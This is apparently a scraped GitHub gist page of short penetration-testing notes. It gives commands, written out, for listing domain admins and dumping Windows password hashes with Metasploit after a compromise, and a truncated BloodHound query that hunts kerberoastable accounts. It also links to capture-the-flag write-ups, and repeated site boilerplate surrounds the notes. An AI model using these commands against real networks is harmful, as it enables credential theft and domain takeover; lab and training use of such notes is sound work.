[+] After compromising a Windows machine:
[>] List the domain administrators:
From Shell - net group "Domain Admins" /domain
[>] Dump the hashes (Metasploit)
msf > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://fzl-aws.notion.site/TombWatcher-HTB-20fb231ab1b68048b73bc92c932edfbc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://fzl-aws.notion.site/Big-IAM-Challenge-abbf45a087944584958088ff1fb29c87?source=copy_link |
MATCH (n:Base)
WHERE n.hasspn = true
AND ((
n.supportedencryptiontypes <> ['Not defined']
OR n.supportedencryptiontypes <> []
OR NONE(type IN n.supportedencryptiontypes WHERE type CONTAINS 'AES128' OR type CONTAINS 'AES256')
)
OR (n.pwdlastset < 1204070400 // Password Last Set before Windows Server 2008
AND NOT n.pwdlastset IN [-1.0, 0.0]
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://fzl-aws.notion.site/Rebound-HTB-21db231ab1b68080ad3ecd2fa762d9d0 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://github.com/groovyBugify/aws-security-mcp |
NewerOlder